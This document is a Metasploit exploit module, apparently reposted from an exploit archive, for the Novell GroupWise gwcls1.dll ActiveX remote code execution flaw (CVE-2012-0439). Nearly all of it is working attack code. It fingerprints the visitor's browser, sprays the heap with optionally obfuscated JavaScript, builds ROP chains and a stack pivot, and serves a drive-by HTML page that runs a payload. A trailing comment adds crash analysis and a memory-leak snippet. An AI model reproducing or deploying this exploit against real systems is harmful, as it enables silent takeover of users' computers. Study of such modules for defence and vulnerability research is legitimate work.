Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution

require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::RopDb
    include Msf::Exploit::Remote::BrowserAutopwn
 
    autopwn_info({
        :ua_name    => HttpClients::IE,
        :ua_minver  => "6.0",
        :ua_maxver  => "9.0",
        :javascript => true,
        :os_name    => OperatingSystems::WINDOWS,
        :rank       => NormalRanking,
        :classid    => "{601D7813-408F-11D1-98D7-444553540000}",
        :method     => "SetEngine"
    })
 
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution",
            'Description'    => %q{
                    This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll
                ActiveX. Several methods in the GWCalServer control use user provided data as
                a pointer, which allows to read arbitrary memory and execute arbitrary code. This
                module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The
                JRE6 needs to be installed to achieve ASLR bypass.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'rgod <rgod[at]autistici.org>', # Vulnerability discovery
                    'juan vazquez'                  # Metasploit module
                ],
            'References'     =>
                [
                    [ 'CVE', '2012-0439' ],
                    [ 'OSVDB', '89700' ],
                    [ 'BID' , '57658' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-008' ],
                    [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011688' ]
                ],
            'Payload'        =>
                {
                    'BadChars'    => "\x00",
                    'Space'       => 1040,
                    'DisableNops' => true
                },
            'DefaultOptions'  =>
                {
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # gwcls1.dll 12.0.0.8586
                    [ 'Automatic', {} ],
                    [ 'IE 6 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4' } ],
                    [ 'IE 7 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4' } ],
                    [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x3e3' } ],
                    [ 'IE 7 on Windows Vista',  { 'Rop' => nil,     'Offset' => '0x5f4' } ],
                    [ 'IE 8 on Windows Vista',  { 'Rop' => :jre,    'Offset' => '0x3e3' } ],
                    [ 'IE 8 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x3e3' } ],
                    [ 'IE 9 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x3ed' } ]#'0x5fe' } ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Jan 30 2013",
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
            ], self.class)
 
    end
 
    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'
 
        nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
        ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
 
        ie_name = "IE #{ie}"
 
        case nt
        when '5.1'
            os_name = 'Windows XP SP3'
        when '6.0'
            os_name = 'Windows Vista'
        when '6.1'
            os_name = 'Windows 7'
        end
 
        targets.each do |t|
            if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
                print_status("Target selected as: #{t.name}")
                return t
            end
        end
 
        return nil
    end
 
    def ie_heap_spray(my_target, p)
        js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
        js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
        js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
 
        # Land the payload at 0x0c0c0c0c
        case my_target
        when targets[7]
            # IE 9 on Windows 7
            js = %Q|
            function randomblock(blocksize)
            {
                var theblock = "";
                for (var i = 0; i < blocksize; i++)
                {
                    theblock += Math.floor(Math.random()*90)+10;
                }
                return theblock;
            }
 
            function tounescape(block)
            {
                var blocklen = block.length;
                var unescapestr = "";
                for (var i = 0; i < blocklen-1; i=i+4)
                {
                    unescapestr += "%u" + block.substring(i,i+4);
                }
                return unescapestr;
            }
 
            var heap_obj = new heapLib.ie(0x10000);
            var code = unescape("#{js_code}");
            var nops = unescape("#{js_random_nops}");
            while (nops.length < 0x80000) nops += nops;
            var offset_length = #{my_target['Offset']};
            for (var i=0; i < 0x1000; i++) {
                var padding = unescape(tounescape(randomblock(0x1000)));
                while (padding.length < 0x1000) padding+= padding;
                var junk_offset = padding.substring(0, offset_length);
                var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
                while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
                sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
                heap_obj.alloc(sprayblock);
            }
            |
 
        else
            # For IE 6, 7, 8
            js = %Q|
            var heap_obj = new heapLib.ie(0x20000);
            var code = unescape("#{js_code}");
            var nops = unescape("#{js_nops}");
            while (nops.length < 0x80000) nops += nops;
            var offset = nops.substring(0, #{my_target['Offset']});
            var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
            while (shellcode.length < 0x40000) shellcode += shellcode;
            var block = shellcode.substring(0, (0x80000-6)/2);
            heap_obj.gc();
            for (var i=1; i < 0x300; i++) {
                heap_obj.alloc(block);
            }
            var overflow = nops.substring(0, 10);
            |
 
        end
 
        js = heaplib(js, {:noobfu => true})
 
        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate
        end
 
        return js
    end
 
    def stack_pivot
        pivot = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
        pivot << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
        pivot << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
        pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
        return pivot
    end
 
    def get_payload(t, cli)
        code = payload.encoded
 
        # No rop. Just return the payload.
        return [0x0c0c0c10 - 0x426].pack("V") + [0x0c0c0c14].pack("V") + code if t['Rop'].nil?
 
        # Both ROP chains generated by mona.py - See corelan.be
        case t['Rop']
            when :msvcrt
                print_status("Using msvcrt ROP")
                rop_payload = generate_rop_payload('msvcrt', '', 'target'=>'xp') # Mapped at 0x0c0c07ea
                jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string
                rop_payload << jmp_shell
                rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length)
                rop_payload << [0x0c0c0c10 - 0x426].pack("V")  # Mapped at 0x0c0c0c0c # 0x426 => vtable offset
                rop_payload << [0x77c15ed5].pack("V")          # Mapped at 0x0c0c0c10 # xchg eax, esp # ret
                rop_payload << stack_pivot
                rop_payload << code
            else
                print_status("Using JRE ROP")
                rop_payload = generate_rop_payload('java', '') # Mapped at 0x0c0c07ea
                jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string
                rop_payload << jmp_shell
                rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length)
                rop_payload << [0x0c0c0c10 - 0x426].pack("V")  # Mapped at 0x0c0c0c0c # 0x426 => vtable offset
                rop_payload << [0x7C348B05].pack("V")          # Mapped at 0x0c0c0c10 # xchg eax, esp # ret
                rop_payload << stack_pivot
                rop_payload << code
        end
 
        return rop_payload
    end
 
 
    def load_exploit_html(my_target, cli)
        p  = get_payload(my_target, cli)
        js = ie_heap_spray(my_target, p)
 
        trigger = "target.GetNXPItem(\"22/10/2013\", 1, 1);" * 200
 
        html = %Q|
        <html>
        <head>
        <script>
        #{js}
        </script>
        </head>
        <body>
        <object classid='clsid:601D7813-408F-11D1-98D7-444553540000' id ='target'>
        </object>
        <script>
            target.SetEngine(0x0c0c0c0c-0x20);
            setInterval(function(){#{trigger}},1000);
        </script>
        </body>
        </html>
        |
 
        return html
    end
 
    def on_request_uri(cli, request)
        agent = request.headers['User-Agent']
        uri   = request.uri
        print_status("Requesting: #{uri}")
 
        my_target = get_target(agent)
        # Avoid the attack if no suitable target found
        if my_target.nil?
            print_error("Browser not supported, sending 404: #{agent}")
            send_not_found(cli)
            return
        end
 
        html = load_exploit_html(my_target, cli)
        html = html.gsub(/^\t\t/, '')
        print_status("Sending HTML...")
        send_response(cli, html, {'Content-Type'=>'text/html'})
    end
 
end
 
 
=begin
 
* Remote Code Exec
 
(240.8d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\PROGRA~1\Novell\GROUPW~1\gwenv1.dll -
eax=00000000 ebx=0c0c0bec ecx=030c2998 edx=030c2998 esi=0c0c0bec edi=0013df58
eip=10335e2d esp=0013de04 ebp=0013de8c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
gwenv1!NgwOFErrorEnabledVector<NgwOFAttribute>::SetParent+0x326b9d:
10335e2d 8a8e4f040000    mov     cl,byte ptr [esi+44Fh]     ds:0023:0c0c103b=??
 
 
.text:103BDDEC                 mov     eax, [ebp+var_4] // var_4 => Engine + 0x20
.text:103BDDEF                 test    esi, esi
.text:103BDDF1                 jnz     short loc_103BDE17
.text:103BDDF3                 cmp     [eax+426h], esi
.text:103BDDF9                 jz      short loc_103BDE17 // Check function pointer against nil?
.text:103BDDFB                 mov     ecx, [ebp+arg_8]
.text:103BDDFE                 mov     edx, [ebp+arg_4]
.text:103BDE01                 push    ecx
.text:103BDE02                 mov     ecx, [eax+42Ah]  // Carefully crafted object allows to control it
.text:103BDE08                 push    edx
.text:103BDE09                 mov     edx, [eax+426h] // Carefully crafted object allows to control it
.text:103BDE0F                 push    ecx
.text:103BDE10                 call    edx  // Win!
 
* Info Leak
 
// Memory disclosure => 4 bytes from an arbitrary address
// Unstable when info leaking and triggering rce path...
target.SetEngine(0x7ffe0300-0x45c); // Disclosing ntdll
var leak = target.GetMiscAccess();
alert(leak);
 
=end

#  0day.today [2018-02-05]  #